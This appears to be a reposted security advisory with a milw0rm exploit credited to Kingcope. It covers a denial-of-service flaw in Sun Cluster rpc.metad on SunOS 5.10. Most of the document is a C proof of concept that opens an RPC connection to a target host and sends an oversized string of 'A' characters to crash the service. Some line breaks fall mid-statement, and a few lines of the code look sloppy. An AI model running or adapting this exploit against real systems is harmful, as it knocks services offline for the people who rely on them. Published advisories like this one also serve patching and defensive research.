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Sun Cluster rpc.metad DoS (Exploit)

SUMMARY

A vulnerability in Sun's Clustering service rpc.metad allows remote
attackers to cause it to crash by sending it malformed data.

DETAILS

Vulnerable Systems:

• SunOS version 5.10

Exploit:
/##########################################################/
/## SunOS 5.10 Sun Cluster rpc.metad DoS PoC #/
/## causes DoS on rpc.metad #/
/## (C) 2008 - Kingcope #/
/##########################################################/
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <rpc/rpc.h>
#include <netdb.h>
#include <stdio.h>
#include <errno.h>

extern int optarg;

#define METAD_PROG 100229
#define METAD_VERS 2
#define METAD_FUNC 6

typedef struct{char *string;}req_t;

bool_t xdr_req(XDR *xdrs,req_t *obj){
if(!xdr_string(xdrs,&obj->string,~0)) return(FALSE);
return(TRUE);
}

main(int argc,char **argv){
char buffer[30000],address[4],*b,*cmd;
int i,c,n,flag=1,vers=0,port=0,sck;
CLIENT *cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;

printf("rpc.metad for solaris 10\n\n");

if(argc<2){
    printf("usage: %s address\n",argv[0]);
    exit(-1);
}

printf("Using version %d and request no. %d!!\n", METAD_VERS, 

METAD_FUNC);

printf("timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);

adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
    if((hp=gethostbyname(argv[1]))==NULL){
        errno=EADDRNOTAVAIL;perror("error");exit(-1);
    }
    memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}

sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,METAD_PROG,METAD_VERS,&sck,0,0))){
    clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

memset(buffer, 'A', sizeof(buffer)); //buffer can also be small,this 

is not a bufover
buffer[3000]=0;

req.string=buffer;

stat=clnt_call(cl,METAD_FUNC,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");
printf("sent!\n"); /* if(!flag) exit(0);*/

}

}

// milw0rm.com [2008-03-14]

ADDITIONAL INFORMATION

The information has been provided by Kingcope.
The original article can be found at:
<http://www.milw0rm.com/exploits/5258&gt;
http://www.milw0rm.com/exploits/5258

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